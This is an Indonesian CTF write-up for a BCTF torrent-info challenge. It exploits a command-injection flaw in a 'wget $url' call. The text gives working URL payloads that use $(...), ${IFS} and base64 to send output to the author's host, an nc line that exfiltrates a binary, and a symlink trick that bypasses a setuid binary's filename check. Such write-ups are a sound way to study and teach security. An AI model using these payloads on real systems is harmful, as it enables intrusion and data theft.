A dog loves torrent.
Contoh setelah kita masukkan input
Dan hasilnya
Jika kita masukkan URL yang diberi torrent, maka akan keluar info mengenai torrent tersebut. Tadinya saya pikir file torrentnya yang harus dimodifikasi supaya menghasilkan injection. Tapi Agan Oghie menyadari bahwa inputnya memiliki flaw command injection, dan outputnya akan muncul jika kita melisten di sebuah port. Dengan memasukkan URL:
http://yn.lc:1200/`id`.torrent
Maka hasilnya:
Dari user agentnya kira-kira ini terjadi karena perintah yang dipakai adalah system("wget $url").
Masalah pertama yang dihadapi adalah memasukkan spasi, karena ini merupakan shell injection. Saya memastikan ini dengan mencoba memprint environment
http://yn.lc:1200/${PWD}.torrent
Hasilnya muncul:
GET //var/www/work.torrent HTTP/1.1
Jadi ternyata direktori saat ini adalah work.
Karena ini adalah shell, trik berikutnya untuk memasukkan spasi adalah dengan ${IFS}, jadi kita bisa melakukan:
ls${IFS}-a
Tapi ada masalah lagi: jika output mengandung spasi, maka sisa output tidak akan muncul. Output dari
http://yn.lc:1200/$(ls${IFS}-l).torrent
Hanya kata "total" saja
GET /total HTTP/1.1
Untuk bypassnya, kita gunakan base64,
http://yn.lc:1200/$(ls${IFS}-l|base64).torrent
dan hasilnya:
GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9u HTTP/1.1
Hasilnya:
total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhon
Terpotong juga karena base64 memiliki newline di output. Untungnya base64 punya opsi -w0
http://yn.lc:1200/$(ls${IFS}-l|base64${IFS}-w0).torrent
GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9uZ3ppCg==.torrent HTTP/1.1
Ternyata cuma ada 1 file bernama zhongzi
total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhongzi
Setelah ke sana kemari, akhirnya ditemukan direktori /var/www/flag/
Isinya 2 file:
total 16
-r-------- 1 flag flag 57 Mar 21 12:14 flag
-rwsr-x--- 1 flag www-data 8871 Mar 21 12:13 use_me_to_read_flag
Ketika kita mencoba mengeksekusi file tersebut:
http://yn.lc:1200/$(/var/www/flag/use_me_to_read_flag${IFS}/var/www/flag/flag|base64).torrent
Hasilnya:
GET /WW91IG1heSBub3QgYWNjZXNzICcvdmFyL3d3dy9mbGFnL2ZsYWcnCg==.torrent HTTP/1.1
Wah, kenapa ini?
Karena file use_me_to_read_flag bisa dibaca, maka saya base64 encode dan kirimkan ke host saya:
http://yn.lc:1200/$(base64${IFS}/var/www/flag/use_me_to_read_flag$|nc${IFS}yn.lc${IFS}1400).torrent
Ternyata file ini adalah file ELF, setelah didecompile, terlihat:
if ( strstr(argv[1], "flag") )
{
printf("You may not access '%s'\n", argv[1]);
exit(1);
}
Sisanya gampang: karena hanya dicek namanya saja, maka kita bisa bypass dengan symbolic link. Pertama buat dulu linknya, kira-kira seperti ini:
ln -s /var/www/flag/flag /tmp/bb
Lalu baca flaghnya dengan
/var/www/flag/use_me_to_read_flag /tmp/bb
Dan hasilnya:
BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233}





